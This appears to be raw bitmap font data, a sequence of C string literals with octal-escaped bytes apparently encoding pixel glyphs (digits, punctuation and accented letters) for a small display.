"\0\0\0\0\0\3\3\3\7\376\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\177p```" "``\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\0\0" "\0\0\0\0\0\0\0\60\60\60\60pp\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\377\376" "\200\0\0\0\0\0\0\0\0\0\0\0\0\370\374\377\7\3\3\3\0\0\0````px\77\37\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\14\6\6\6\14\34\70\60\60" "\70\34\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0" "\0\0\0\0\0\0\0\0\0\0\360\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\20\0\0\0\0\0\340\370\374\16\6\3\3\373\377\17\3" "\7\16\14\0\0\7\37\77x`\340\374\377\307\300\340`p \0\0\0\0\0\0\0\14\17\3\0\0\0" "\0\0\0\0\0\0\0\0\200\340\340p\60\60\60\60p`\0\0\0\0\60\66\377\377\360\60\60\60\0\0" "\0\0\0\0\0\200\300\340\177\177o`\340\300\300\200\200\200\300\300\0\0\0\0\0\0\0\0\0\0\0\1" "\1\1\1\0\0\0\0\200\0\0\0\0\0\0\0\0\0\200\0\0\0\0\1\373\377\216\7\3\3\3\7\216" "\377\373\1\0\0\0\4\16\7\3\7\6\6\6\7\3\7\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\60\360\340\300\0\0\0\0\0\0\200\340\360\60\0\0\0\0\1\7\37<\370\340\370>\17" "\3\0\0\0\0\0\63\63\63\63\63\377\377\377\63\63\63\63\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\0\0" "\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\300\360\370\30\34\14\14\14\34x\60\0\0\0\0\0\340\363\377\17\16\14\14\34\70\370" "\360@\0\0\0\0\200\301\3\3\7\6\6\16\36\377\371`\0\0\0\0\1\3\3\7\6\6\6\7\3\3" "\1\0\0\0\0\0\0\20\70\70\20\0\0\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\0\340\370\16\346\363\31\35\14\14\14\31\71" "#\6\14\370\7\37\70cG\316\234\230\230\230\214\314dp\70\17\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60\60\30\30\30\30\70\360\340\0\0\0\0\0\0\70~\306\302\303\303\303c\377" "\377\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340p\70\20\200\300\340" "`\60\20\0\0\0\3\7\17\34\70p!\3\7\16\34\60 \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`````````\340" "\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0``````````" "```\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\0\340\370\16\6\3\375\375\204\204\204\315\371" "\63\6\16\370\7\37\70p@\337\237\200\200\201\207\334hp\70\17\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\360\370\30\30\30\70\360\340\200\0\0\0\0\0\0\3\7\7\16\14\14\16\7\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\0\0\30\30\30\30\30\30\377\377\377\30\30" "\30\30\30\0\0\300\300\300\300\300\300\307\307\307\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \60\30\30\30\30\30\360\340\0\0\0\0\0\0\0\300\340\360\330\314\316\307\303" "\301\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60\60\30\30\30\30\30\360\340\0\0\0\0\0\0\0``\300\303\303\303\303g" "|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0px\36\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\376\376\376" "\0\0\0\0\377\377\377\340\300\200\200\200\300\177\377\377\200\200\300\300\177\177\177\0\1\1\1\1\0\0\0\1" "\1\1\1\0\0\0\300\360\370\370\374\374\374\374\374\14\374\374\374\0\0\0\3\17\37\37\37\77\377\377\377\0" "\377\377\377\0\0\0\0\0\0\0\0\0\377\377\377\0\377\377\377\0\0\0\0\0\0\0\0\0\7\7\7\0" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\360\360`\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 `@HNHx" "\70\0\0\0\0\0\0 \60\60\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340p\30\30\30\30p\340\300\0\0\0\0\0\0\37\77p\300\300\300\300p\77" "\37\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\70p\340\300\200\30\30\60" "`\300\300\200\0\0\20\70\34\16\7\3\21\70\34\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\10\10\374\374\0\0\0\0\0\0\300\360|\10\0\0\0\0\17\17\0\0\200\340x\37\7" "\1\0\0\0\0\0\0\200\340x\36\7\201\340\260\230\206\377\377\200\0\0\0\3\1\0\0\0\0\0\0\0" "\0\7\7\0\20\10\10\374\374\0\0\0\0\0\0\300\360<\10\0\0\0\0\17\17\0\0\200\340x\37\7" "\1\0\0\0\0\0\0\200\340x\36\7\1\14\4\6\202\302f|\0\0\2\3\1\0\0\0\0\4\6\7" "\5\4\4\4\4\14\6BB\346\274\230\0\0\0\300\360<\14\0\6\6\14\14\14\14\7\303\360|\17\3" "\0\0\0\0\0\0\0\200\340x\36\7\201\340\260\230\206\377\377\200\0\0\0\3\1\0\0\0\0\0\0\0" "\0\7\7\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\200\200\300\340~>\16\0\0" "\0\0\0\0\0\0>\177\377\301\300\200\200\200\300\300\340p \0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\1\301\371\343\3\2\0\0\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\0\0\2\303\373\341\1\1\0\0\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\2\3\3\301\370\341\1\3\2\0\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\1\1\0\0\300\370\341\3\3\3\1\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\0\1\1\200\370\360\201\1\1\0\0\0\0\0\0\0\200\360\376\37\3\7\77\374\340" "\0\0\0\0\0\340\374\77\17\6\6\6\6\6\7\37\177\370\300\0\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\0\0\0\0\0\3\207\374\364\207\3\0\0\0\0\0\0\0\0\0\340\374\37\3\3\37\376\360\200" "\0\0\0\0\300\370\177\17\6\6\6\6\6\6\7\77\376\360\200\0\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\0\0\0\0\0\0\300\360p\360\360\360\60\60\60\60\60\0\0\200\360\376\37\3\0\377\377\377`" "```\0\300\374\77\7\6\6\6\6\377\377\377\200\200\200\200\200\1\1\0\0\0\0\0\0\1\1\1\1" "\1\1\1\1\0\0\0\200\300\340`p\60\60\60p`\340\300\200\0\374\377\377\3\0\0\0\0\0\0\0" "\0\1\1\1\0\7\37\77x\340\300\300\200\200\200\300\300\340` \0\0\0\0\0\0aaIOMy" "\70\0\0\0\0\360\360\360\61\61\63\63\63\66\62\60\60\60\0\0\0\377\377\377````````" "`\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\360\360\360\60\62\66\63\63\61\61\61\60\60\0\0\0\377\377\377````````" "`\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\360\360\362\63\63\61\61\61\63\63\66\62\60\0\0\0\377\377\377````````" "`\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\360\360\361\61\60\60\60\60\61\61\61\60\60\0\0\0\377\377\377````````" "\0\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\60\60\61\61\363\363\363\66\62\60\60\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\200\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\30\30\30\31\371\371\371\30\30\30\30\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\62\66\63\61\361\360\361\63\63\62\60\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\200\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\60\60\61\61\360\360\360\61\61\61\60\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\200\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\360\360\360\60\60\60\60\60p\340\340\300\0\0\0`\377\377\377````\0\0\0\3" "\377\377\374\0\0\377\377\377\200\200\200\200\200\300\340x\77\37\3\0\0\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\361\301\200\0\0\1\3\3\3\363\361\360\0\0\377\377\377\3\17>x\340\300\0\0" "\377\377\377\0\0\377\377\377\0\0\0\0\1\7\37|\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\0\0\200\340\340p\70\31\31\31\33\71p\340\300\200\0\376\377\377\0\0\0\0\0\0\0\0\0" "\1\377\377\370\3\17\37\70p\340\300\300\300\300\340p<\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\340p\71\33\31\31\31\70p\340\300\200\0\376\377\377\0\0\0\0\0\0\0\0\0" "\1\377\377\370\3\17\37\70p\340\300\300\300\300\340p<\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\341s\71\30\30\30\30\71s\341\300\200\0\376\377\377\0\0\0\0\0\0\0\0\0" "\1\377\377\370\3\17\37\70p\340\300\300\300\300\340p<\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\301\340p\60\60\61\63s\343\301\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\37\77p\340\300\200\200\200\200\300\340x\77\37\1\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\300\301\341q\60\60\60\61q\341\300\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\37\77p\340\300\200\200\200\200\300\340x\77\37\1\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\7\17\236\370\360\360\370\234\16" "\7\2\0\0\0\0\4\16\7\3\1\0\0\1\3\7\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\360p\70\30\30\30\30\270\360\370\374\214\4\376\377\377\0\0\0\300\360|\36\7\1" "\1\377\377\370\3\217\377\370|\357\303\300\300\300\340p<\37\17\0\0\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\1\1\1\3\3\6\2\0\360\360\360\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\37\177\377\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\360\360\360\0\2\6\3\3\1\1\1\360\360\360\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\37\177\377\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\370\370\371\3\1\0\0\0\0\1\3\370\370\370\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\17\77\177p\340\300\300\300\300\340p\177\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\1\1\0\0\0\0\1\1\361\360\360\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\37\177\377\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\60\360\340\200\2\6\3\3\3\1\1\340\360p\0\0\0\0\3\17>\370\360\300\360|\37" "\7\1\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\3\3\3\3\3\3\7\7" "\376\374\370\0\0\377\377\377\14\14\14\14\14\14\16\6\7\3\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\360\370\70\34\14\14\14\34\70\360\340\200\0\0\0\377\377\377\0\0\0\60\60\70|o" "\347\301\200\0\0\377\377\377\0\0\300\200\200\200\200\300\341\177\77\14\0\1\1\1\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\14\36\14\4\0\0\0\0\0\300\360\370\234\216\206\206\206\206\216\214" "\370\360\0\0\0\17\77\177\341\301\301\201\201\201\201\301\301A\0\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0@p\70\34\16\34x`\0\0\0\0\0\300\360\370\234\216\206\206\206\206\216\214" "\370\360\0\0\0\17\77\177\341\301\301\201\201\201\201\301\301A\0\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\10\34\34\10\0\0\10\34\34\10\0\0\0\0\300\360\370\234\216\206\206\206\206\216\234" "\370\360\0\0\0\17\77\177\341\301\301\201\201\201\201\301\301A\0\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\4\16\36<\60\0\0\0\0\0\0\0\0\0\0\6\6\6\6\376\376\376\0\0" "\0\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\60|\36\16\0\0\0\0\0\0\0\0\6\6\6\6\376\376\376\0\0" "\0\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\60\70\14\6\16\34\70\60\0\0\0\0\0\0\0\3\3\3\3\377\377\377\0\0" "\0\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34\34\10\0\0\0\34\34\34\0\0\0\0\0\0\6\6\6\6\376\376\376\0\0" "\0\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0dll\70\60\360\360\230\30\20\0\0\300\360\370\34\14\16\6\6\6\16\15" "\77\377\374\300\0\17\77\177\340\300\300\200\200\200\300\300\360\177\37\3\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\30\30\14\14\14\30\70\60\60\70\30\0\0\0\0\376\376\376\30\14\14\6\6\16\36" "\374\370\300\0\0\0\377\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\1\1\1\0\0\0\0\0\0\0" "\1\1\1\0\0\0\0\0\0\0\4\36

\14\4\0\0\0\0\0\300\360\370\34\14\16\6\6\6\16\34" "<\370\340\0\0\17\77\177\340\300\300\200\200\200\300\340\360\177\37\3\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0p\70\34\16\34x`\0\0\0\0\0\300\360\370\34\14\16\6\6\6\16\34" "<\370\340\0\0\17\77\177\340\300\300\200\200\200\300\340\360\177\37\3\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\30\34\16\6\16\34\70\60\60\70\34\0\0\0\300\360\370\34\14\16\6\6\6\16\34" "<\370\340\0\0\17\77\177\340\300\300\200\200\200\300\340\360\177\37\3\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\10\34\34\10\0\0\0\34\34\34\0\0\0\0\300\360\370\34\14\16\6\6\6\16\34" "<\370\340\0\0\17\77\177\340\300\300\200\200\200\300\340\360\177\37\3\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0\0`````cca``" "```\0\0\0\0\0\0\0\0\34\34\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\300\360\370\34\14\16\6\306\346~\36" "\77\373\340\0\0\17\77\377\340\360\374\217\203\201\300\340\360\177\37\3\0\0\2\7\1\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\4\16\36x\60\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\376" 